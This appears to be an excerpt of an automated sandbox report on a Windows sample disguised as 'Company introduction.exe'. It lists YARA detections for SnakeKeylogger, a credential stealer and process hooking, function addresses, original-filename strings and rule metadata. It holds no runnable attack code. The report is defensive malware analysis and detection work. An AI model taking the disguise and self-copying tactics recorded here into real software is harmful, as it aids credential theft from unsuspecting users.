Source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Company introduction.exe PID: 7452, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: FzXKnGk.exe PID: 7888, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: FzXKnGk.exe PID: 8144, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_014B4224	0_2_014B4224
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_014B4208	0_2_014B4208
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_014B7D63	0_2_014B7D63
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_014B7D99	0_2_014B7D99
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE05B0	0_2_07AE05B0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE44C8	0_2_07AE44C8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE4088	0_2_07AE4088
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE5B30	0_2_07AE5B30
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AED73A	0_2_07AED73A
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE4702	0_2_07AE4702
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE4710	0_2_07AE4710
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE05A0	0_2_07AE05A0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE35E8	0_2_07AE35E8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE35F8	0_2_07AE35F8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE44B8	0_2_07AE44B8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AEF40A	0_2_07AEF40A
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AEF418	0_2_07AEF418
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE23A8	0_2_07AE23A8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE23B8	0_2_07AE23B8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE63E0	0_2_07AE63E0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE63D2	0_2_07AE63D2
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE5362	0_2_07AE5362
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE21C2	0_2_07AE21C2
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE0011	0_2_07AE0011
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE407A	0_2_07AE407A
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE0040	0_2_07AE0040
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AEDFB0	0_2_07AEDFB0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE2F68	0_2_07AE2F68
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE2F59	0_2_07AE2F59
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE4EA0	0_2_07AE4EA0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE4EB0	0_2_07AE4EB0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE5B22	0_2_07AE5B22
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AEDB68	0_2_07AEDB68
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE3A81	0_2_07AE3A81
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE3A90	0_2_07AE3A90
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE4A68	0_2_07AE4A68
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE4A58	0_2_07AE4A58
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE69B8	0_2_07AE69B8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE69C8	0_2_07AE69C8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE3808	0_2_07AE3808
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07AE3818	0_2_07AE3818
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07E95F00	0_2_07E95F00
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 0_2_07E90040	0_2_07E90040
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DC146	6_2_017DC146
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D5362	6_2_017D5362
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DD278	6_2_017DD278
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DC468	6_2_017DC468
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DC738	6_2_017DC738
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D69A0	6_2_017D69A0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DE988	6_2_017DE988
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D3B85	6_2_017D3B85
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DCA08	6_2_017DCA08
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D9DE0	6_2_017D9DE0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DCCD8	6_2_017DCCD8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D6FC8	6_2_017D6FC8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DCFAA	6_2_017DCFAA
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DF631	6_2_017DF631
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DE97A	6_2_017DE97A
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D29EC	6_2_017D29EC
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D3AA1	6_2_017D3AA1
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017DFA88	6_2_017DFA88
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D3E09	6_2_017D3E09
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A89548	6_2_05A89548
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A85028	6_2_05A85028
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A89C70	6_2_05A89C70
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8D9A8	6_2_05A8D9A8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8D999	6_2_05A8D999
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8DDFF	6_2_05A8DDFF
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A82968	6_2_05A82968
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8D540	6_2_05A8D540
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8295B	6_2_05A8295B
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8D550	6_2_05A8D550
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8CCA0	6_2_05A8CCA0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8D0F8	6_2_05A8D0F8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8F803	6_2_05A8F803
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A80006	6_2_05A80006
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A85018	6_2_05A85018
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8F810	6_2_05A8F810
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8FC68	6_2_05A8FC68
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A89C63	6_2_05A89C63
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A80040	6_2_05A80040
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8F3A8	6_2_05A8F3A8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A817A0	6_2_05A817A0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A88BA0	6_2_05A88BA0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8F3B8	6_2_05A8F3B8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8178F	6_2_05A8178F
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A88B90	6_2_05A88B90
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A89328	6_2_05A89328
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A80B20	6_2_05A80B20
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A80B30	6_2_05A80B30
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8EB08	6_2_05A8EB08
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8EF60	6_2_05A8EF60
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8EF51	6_2_05A8EF51
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8E6AF	6_2_05A8E6AF
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8E6B0	6_2_05A8E6B0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A81E80	6_2_05A81E80
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8EAF8	6_2_05A8EAF8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8DE00	6_2_05A8DE00
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A81E70	6_2_05A81E70
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8E24B	6_2_05A8E24B
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_05A8E258	6_2_05A8E258
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_00DB4224	7_2_00DB4224
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_00DB4208	7_2_00DB4208
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_00DB4B89	7_2_00DB4B89
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_00DB7D98	7_2_00DB7D98
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_00DB7D62	7_2_00DB7D62
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_029480B8	7_2_029480B8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_0294F400	7_2_0294F400
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_0294FB58	7_2_0294FB58
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_0294E8C1	7_2_0294E8C1
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_029412F8	7_2_029412F8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_0294F3F1	7_2_0294F3F1
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_029485B2	7_2_029485B2
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE44C8	7_2_06EE44C8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE05B0	7_2_06EE05B0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE4088	7_2_06EE4088
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE5B30	7_2_06EE5B30
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EED73A	7_2_06EED73A
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE4703	7_2_06EE4703
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE4710	7_2_06EE4710
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE44B8	7_2_06EE44B8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EEF40A	7_2_06EEF40A
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EEF418	7_2_06EEF418
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE35E8	7_2_06EE35E8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE35F8	7_2_06EE35F8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE05A0	7_2_06EE05A0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE63E0	7_2_06EE63E0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE63D1	7_2_06EE63D1
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE23A8	7_2_06EE23A8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE23B8	7_2_06EE23B8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE5363	7_2_06EE5363
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE407B	7_2_06EE407B
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE0040	7_2_06EE0040
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE0006	7_2_06EE0006
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE21C3	7_2_06EE21C3
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE4EA0	7_2_06EE4EA0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE4EB0	7_2_06EE4EB0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EEDFB0	7_2_06EEDFB0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE2F68	7_2_06EE2F68
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE2F59	7_2_06EE2F59
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE3A81	7_2_06EE3A81
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE3A90	7_2_06EE3A90
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE4A68	7_2_06EE4A68
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE4A58	7_2_06EE4A58
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EEDB68	7_2_06EEDB68
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE5B23	7_2_06EE5B23
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE3808	7_2_06EE3808
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE3818	7_2_06EE3818
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE69C8	7_2_06EE69C8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE69B8	7_2_06EE69B8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183C147	12_2_0183C147
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_01835362	12_2_01835362
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183D278	12_2_0183D278
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183C468	12_2_0183C468
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183C738	12_2_0183C738
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183F631	12_2_0183F631
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183E988	12_2_0183E988
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_018369A0	12_2_018369A0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183CA08	12_2_0183CA08
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_01839DE0	12_2_01839DE0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183CCD8	12_2_0183CCD8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183CFAB	12_2_0183CFAB
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_01836FC8	12_2_01836FC8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_018329E0	12_2_018329E0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183E97B	12_2_0183E97B
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_0183FA88	12_2_0183FA88
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F61E80	12_2_06F61E80
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F617A0	12_2_06F617A0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F60B30	12_2_06F60B30
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F69C70	12_2_06F69C70
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F65028	12_2_06F65028
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F62968	12_2_06F62968
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F69548	12_2_06F69548
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6EAF8	12_2_06F6EAF8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6E6B0	12_2_06F6E6B0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6E6AF	12_2_06F6E6AF
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F61E70	12_2_06F61E70
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6E258	12_2_06F6E258
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6E249	12_2_06F6E249
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6DE00	12_2_06F6DE00
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6F3B8	12_2_06F6F3B8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F68BA0	12_2_06F68BA0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6178F	12_2_06F6178F
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6EF60	12_2_06F6EF60
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6EF51	12_2_06F6EF51
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F60B20	12_2_06F60B20
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6EB08	12_2_06F6EB08
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6D0F8	12_2_06F6D0F8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6CCA0	12_2_06F6CCA0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F69C6D	12_2_06F69C6D
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6FC68	12_2_06F6FC68
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6FC5E	12_2_06F6FC5E
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F60040	12_2_06F60040
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6F810	12_2_06F6F810
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F65018	12_2_06F65018
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F60007	12_2_06F60007
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6F801	12_2_06F6F801
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6DDFF	12_2_06F6DDFF
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6D9A8	12_2_06F6D9A8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6D999	12_2_06F6D999
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6D550	12_2_06F6D550
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F6D540	12_2_06F6D540

Source: Company introduction.exe, 00000000.00000002.1732379162.000000000352C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Company introduction.exe
Source: Company introduction.exe, 00000000.00000002.1739887947.0000000008400000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs Company introduction.exe
Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004AD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Company introduction.exe
Source: Company introduction.exe, 00000000.00000002.1733796821.00000000042B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs Company introduction.exe
Source: Company introduction.exe, 00000000.00000000.1680830386.0000000000E72000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpQI.exe< vs Company introduction.exe
Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Company introduction.exe
Source: Company introduction.exe, 00000000.00000002.1730716466.000000000135E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Company introduction.exe
Source: Company introduction.exe, 00000000.00000002.1740000811.00000000084B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Company introduction.exe
Source: Company introduction.exe, 00000006.00000002.2937905341.0000000000443000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Company introduction.exe
Source: Company introduction.exe, 00000006.00000002.2938374364.00000000010F7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Company introduction.exe
Source: Company introduction.exe	Binary or memory string: OriginalFilenameRpQI.exe< vs Company introduction.exe

Source: Company introduction.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
